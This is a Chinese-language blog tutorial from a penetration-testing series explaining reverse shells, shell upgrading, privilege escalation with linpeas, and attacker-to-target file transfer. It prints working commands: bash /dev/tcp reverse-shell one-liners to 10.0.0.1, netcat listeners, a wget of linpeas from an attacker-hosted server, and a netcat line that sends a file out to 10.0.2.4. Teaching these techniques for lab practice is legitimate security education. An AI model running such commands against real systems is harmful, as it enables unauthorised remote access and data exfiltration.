渗透测试(四)反弹Shell与权限提升
本文最后更新于75 天前,其中的信息可能已经过时,如有错误请发送邮件到fupcode@outlook.com

一、反弹Shell

渗透测试中,如果发现命令执行漏洞,通常会希望获得一个交互式 shell。如果无法添加新账户、SSH 密钥或 .rhosts 文件来直接登录,下一步通常是尝试建立反向 shell 或绑定 shell 到一个 TCP 端口。

创建反向 shell 的方法取决于目标系统上安装的脚本语言,也可以上传一个二进制程序来执行。以下是通过 Bash 建立反弹Shell 的步骤,其他脚本语言可以参考pentestmonkey-cheatsheets/shells.md at master · acole76/pentestmonkey-cheatsheets.

1. 在攻击机上上监听端口

nc -lvnp 8080

参数解释:

  • -l:监听模式。
  • -v:详细模式,显示连接信息。
  • -n:直接使用 IP 地址,不做 DNS 解析。
  • -p 8080:监听的端口为 8080

2. 在靶机上建立反弹Shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

此命令在靶机上将一个 shell 会话的输入和输出重定向到指定的 IP 地址和端口来建立连接,如这里的 10.0.0.1 地址,8080 端口。

在某些情况下,bash 环境可能受到限制,导致直接执行反弹 shell 命令无法成功。为提高兼容性,可以尝试使用以下更通用的方式:

bash -c "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"

然后回到攻击机的监听 Shell,可以看到已经连接,注意此时需要使用 exit 退出。

3. 交互式反弹Shell

上面步骤获取的Shell交互性并不强,并且 Ctrl+C 会在反弹 Shell 命令未终止的情况下退出 Shell ,如果靶机上安装有python,可通过以下步骤简单升级 Shell。注意攻击机的 Shell 需要是 bash,而不是 zsh

python -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

此时的shell就可以使用方向键和vim、top等命令,Ctrl+C 也不会断开了。

二、权限提升

通常情况下,入侵靶机后,攻击者将会得到一个权限较低的 Shell,此时可以执行的操作常常受到限制。因此,我们需要权限提升(Privilege Escalation),简称提权。借助以下提权脚本,这项任务将变得更加容易。

linpeas

下载linpeas脚本:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

三、文件传输

在创建反弹 Shell 之后,靶机的环境往往不足以我们进行攻击,此时便需要两机之间的文件传输。

1. 靶机下载文件

先在攻击机上目标文件的目录建立 web 服务(以python为例)

python -m http.server 8000

然后再靶机上使用 wget 下载,如下载 linpeas.sh 脚本

wget http://10.0.0.1:8000/linpeas.sh

2. 靶机上传文件

攻击机上将接收到的数据重定向并写入 target.file 文件。

nc -nvlp 4444 > target.file

靶机从本地文件 target.file 中读取数据,并重定向至接收方。

nc 10.0.2.4 4444 < target.file
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇